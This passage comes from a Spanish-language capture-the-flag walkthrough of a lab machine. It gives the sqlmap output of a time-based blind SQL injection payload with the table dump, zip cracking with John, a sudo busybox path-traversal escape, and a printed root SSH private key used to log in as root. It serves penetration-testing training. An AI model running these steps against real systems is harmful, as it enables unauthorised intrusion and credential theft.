[09:01:22] [WARNING] POST parameter '
username' does not appear to be dynamic
[09:01:23] [WARNING] heuristic (basic) test shows that POST parameter '
username' might not be injectable
[09:01:23] [INFO] testing for SQL injection on POST parameter '
username'
[09:01:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:01:23] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[09:01:23] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[09:01:23] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:01:23] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[09:01:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[09:01:23] [INFO] testing 'Generic inline queries'
[09:01:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[09:01:23] [WARNING] time-based comparison requires larger statistical model, please wait. (done)                                                                                      
[09:01:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[09:01:23] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[09:01:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:01:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[09:01:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[09:01:23] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
[09:01:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[09:01:24] [WARNING] POST parameter '
username' does not seem to be injectable
[09:01:24] [WARNING] POST parameter 'password' does not appear to be dynamic
[09:01:24] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
[09:01:24] [INFO] heuristic (XSS) test shows that POST parameter 'password' might be vulnerable to cross-site scripting (XSS) attacks
[09:01:24] [INFO] testing for SQL injection on POST parameter 'password'
[09:01:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:01:24] [WARNING] reflective value(s) found and filtering out
[09:01:24] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[09:01:24] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[09:01:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:01:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[09:01:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[09:01:24] [INFO] testing 'Generic inline queries'
[09:01:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[09:01:24] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[09:01:24] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[09:01:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:01:35] [INFO] POST parameter 'password' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[09:01:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:01:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:01:37] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[09:01:37] [INFO] target URL appears to have 3 columns in query
n
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[09:01:42] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[09:01:42] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[09:01:43] [INFO] checking if the injection point on POST parameter 'password' is a false positive
POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 202 HTTP(s) requests:
---
Parameter: password (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: 
username=admin&password=admin' AND (SELECT 1525 FROM (SELECT(SLEEP(5)))JwlH) AND 'NaxG'='NaxG
---
[09:02:29] [INFO] the back-end DBMS is MySQL
[09:02:29] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[09:02:29] [INFO] fetching database names
[09:02:29] [INFO] fetching number of databases
[09:02:29] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
5
[09:02:41] [INFO] retrieved: 
[09:02:46] [INFO] adjusting time delay to 1 second due to good response times
mysql
[09:03:02] [INFO] retrieved: information_schema
[09:04:01] [INFO] retrieved: performance_schema
[09:04:58] [INFO] retrieved: sys
[09:05:08] [INFO] retrieved: injectors_db
available databases [5]:
[*] information_schema
[*] injectors_db
[*] mysql
[*] performance_schema
[*] sys

[09:05:49] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 48 times
[09:05:49] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.22.0.2'

[*] ending @ 09:05:49 /2024-08-15/

Por lo que vemos hay una base de datos llamada injectors_db por lo que veremos que hay dentro de la siguiente forma.

sqlmap -r request.txt -D injectors_db --tables

Info:

        ___
       __H__
 ___ ___["]_____ ___ ___  {1.8.7#stable}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:07:43 /2024-08-15/

[09:07:44] [INFO] parsing HTTP request from 'request.txt'
[09:07:44] [INFO] resuming back-end DBMS 'mysql' 
[09:07:44] [INFO] testing connection to the target URL
got a 302 redirect to 'http://172.22.0.2/content_pages_hidden/fail.php'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: 
username=admin&password=admin' AND (SELECT 1525 FROM (SELECT(SLEEP(5)))JwlH) AND 'NaxG'='NaxG
---
[09:07:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[09:07:46] [INFO] fetching tables for database: 'injectors_db'
[09:07:46] [INFO] fetching number of tables for database 'injectors_db'
[09:07:46] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)                                                         
[09:07:46] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
1
[09:07:55] [INFO] retrieved: 
[09:08:05] [INFO] adjusting time delay to 1 second due to good response times
users
Database: injectors_db
[1 table]
+-------+
| users |
+-------+

[09:08:18] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.22.0.2'

[*] ending @ 09:08:18 /2024-08-15/

Vemos que hay una tabla llamada users, por lo que veremos como se compone por dentro para saber que mas informacion hay dentro.

sqlmap -r request.txt -D injectors_db -T users --columns

Info:

       ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.7#stable}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:10:14 /2024-08-15/

[09:10:14] [INFO] parsing HTTP request from 'request.txt'
[09:10:14] [INFO] resuming back-end DBMS 'mysql' 
[09:10:14] [INFO] testing connection to the target URL
got a 302 redirect to 'http://172.22.0.2/content_pages_hidden/fail.php'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: 
username=admin&password=admin' AND (SELECT 1525 FROM (SELECT(SLEEP(5)))JwlH) AND 'NaxG'='NaxG
---
[09:10:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[09:10:17] [INFO] fetching columns for table 'users' in database 'injectors_db'
[09:10:17] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)                                                         
[09:10:18] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[09:10:35] [INFO] adjusting time delay to 1 second due to good response times
3
[09:10:35] [INFO] retrieved: id
[09:10:42] [INFO] retrieved: int
[09:10:53] [INFO] retrieved: password
[09:11:21] [INFO] retrieved: varchar(50)
[09:11:55] [INFO] retrieved: username
[09:12:18] [INFO] retrieved: varchar(50)
Database: injectors_db
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int         |
| password | varchar(50) |
| username | varchar(50) |
+----------+-------------+

[09:12:52] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.22.0.2'

[*] ending @ 09:12:52 /2024-08-15/

Ahora que sabemos como se compone la tabla, haremos este ultimo paso.

sqlmap -r request.txt -D injectors_db -T users -C id,username,password --dump

Info:

      ___
       __H__
 ___ ___["]_____ ___ ___  {1.8.7#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:14:00 /2024-08-15/

[09:14:00] [INFO] parsing HTTP request from 'request.txt'
[09:14:00] [INFO] resuming back-end DBMS 'mysql' 
[09:14:00] [INFO] testing connection to the target URL
got a 302 redirect to 'http://172.22.0.2/content_pages_hidden/fail.php'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: 
username=admin&password=admin' AND (SELECT 1525 FROM (SELECT(SLEEP(5)))JwlH) AND 'NaxG'='NaxG
---
[09:14:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[09:14:12] [INFO] fetching entries of column(s) 'id,password,username' for table 'users' in database 'injectors_db'
[09:14:12] [INFO] fetching number of column(s) 'id,password,username' entries for table 'users' in database 'injectors_db'
[09:14:12] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)                                                         
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[09:14:22] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
4
[09:14:22] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)                                                
[09:14:33] [INFO] adjusting time delay to 1 second due to good response times
1
[09:14:33] [INFO] retrieved: loveyou
[09:14:58] [INFO] retrieved: root
[09:15:15] [INFO] retrieved: 2
[09:15:18] [INFO] retrieved: chicago123
[09:15:44] [INFO] retrieved: jane
[09:15:55] [INFO] retrieved: 3
[09:15:58] [INFO] retrieved: password
[09:16:26] [INFO] retrieved: admin
[09:16:41] [INFO] retrieved: 4
[09:16:45] [INFO] retrieved: no_mirar_en_este_directorio
[09:18:22] [INFO] retrieved: ralf
Database: injectors_db
Table: users
[4 entries]
+----+----------+-----------------------------+
| id | username | password                    |
+----+----------+-----------------------------+
| 1  | root     | loveyou                     |
| 2  | jane     | chicago123                  |
| 3  | admin    | password                    |
| 4  | ralf     | no_mirar_en_este_directorio |
+----+----------+-----------------------------+

[09:18:35] [INFO] table 'injectors_db.users' dumped to CSV file '/root/.local/share/sqlmap/output/172.22.0.2/dump/injectors_db/users.csv'
[09:18:35] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.22.0.2'

[*] ending @ 09:18:35 /2024-08-15/

Vemos varias credenciales pero ninguna funciona con SSH o no hace ninguna funcion en la pagina, pero vemos una contraseña bastante distintiva no_mirar_en_este_directorio por lo que probaremos a ponerlo como URL de un directorio web.

Directorio web

URL = http://<IP>/no_mirar_en_este_directorio/

Si nos vamos ahi veremos que existe y contiene un archivo zip llamado secret.zip que si nos lo descargamos veremos que tiene contraseña por lo que haremos lo siguiente.

zip2jhon

Intentaremos crackear la contraseña del zip.

zip2john secret.zip > hash
john --wordlist=<WORDLIST> hash

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
computer         (secret.zip/confidencial.txt)     
1g 0:00:00:00 DONE (2024-08-15 11:14) 33.33g/s 1092Kp/s 1092Kc/s 1092KC/s 123456..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Veremos que la contraseña es computer por lo que ahora si lo descomprimiremos.

unzip

unzip secret.zip

Info:

Archive:  secret.zip
[secret.zip] confidencial.txt password: 
  inflating: confidencial.txt

Metemos la contraseña y ya lo tendriamos descomprimido, veremos un archivo .txt llamado confidencial.txt y si lo leemos veremos lo siguiente.

You have to change your password ralf, I have told you many times, log into your account and I will change your password.

Your new credentials are:

ralf:supersecurepassword

Nos muestra las credenciales de un usuario, por lo que probaremos en ssh.

SSH

ssh ralf@<IP>

Metemos la contraseña y ya estariamos dentro, por lo que leeremos la flag.

user.txt (flag1)

382af2fb41eb95b1d6c6358b6c55ffce

Escalate user capa

Si hacemos sudo -l veremos lo siguiente.

Matching Defaults entries for ralf on edf1dfeaf331:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User ralf may run the following commands on edf1dfeaf331:
    (capa : capa) NOPASSWD: /usr/local/bin/busybox /nothing/*

Vemos que podemos ejecutar como el usuario capa el binario busybox con todo el contenido de dentro de la carpeta /nothing pero hay un truco para poder escapar de esa carpeta y poder ejecutar lo que queramos ya que tiene el simbolo * y a nivel de sistema operativo se puede hacer lo siguiente.

sudo -u capa /usr/local/bin/busybox /nothing/../usr/bin/sh

Haciendo eso obtendremos una shell de sh como el usuario capa, por lo que ahora cambiaremos a la shell de bash.

/bin/bash

Y ya tendremos una shell normal con el usuario capa.

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente.

Matching Defaults entries for capa on edf1dfeaf331:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User capa may run the following commands on edf1dfeaf331:
    (ALL : ALL) NOPASSWD: /bin/cat

Vemos que podemos ejecutar como root el binario cat por lo que podremos ver lo que queramos, probaremos a ver si root tiene una clave id_rsa.

sudo cat /root/.ssh/id_rsa

Info:

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Si hacemos eso, veremos que efectivamente root tiene una clave id_rsa por lo que podremos conectarnos mediante esa clave autenticandonos como root de la siguiente forma.

En nuestro host crearemos el siguiente archivo.

nano id_rsa

#Dentro del nano
<CLAVE_ID_RSA>

Lo guardamos y le pondremos los siguientes permisos para que pueda ser validado por ssh.

chmod 600 id_rsa

Y ahora nos conectaremos por ssh mediante el id_rsa.

ssh -i id_rsa root@<IP>

Con esto ya estariamos dentro de la maquina con el usuario root por lo que la habriamos terminado y leeremos la flag.

true_root.txt (flag2)

8e776bdaed0b6748686b7ce6d38ccca3
https://drive.google.com/file/d/1tAL7aa1YRoQsWdbrz1ChNA2dRASE5u_3/view?usp=sharing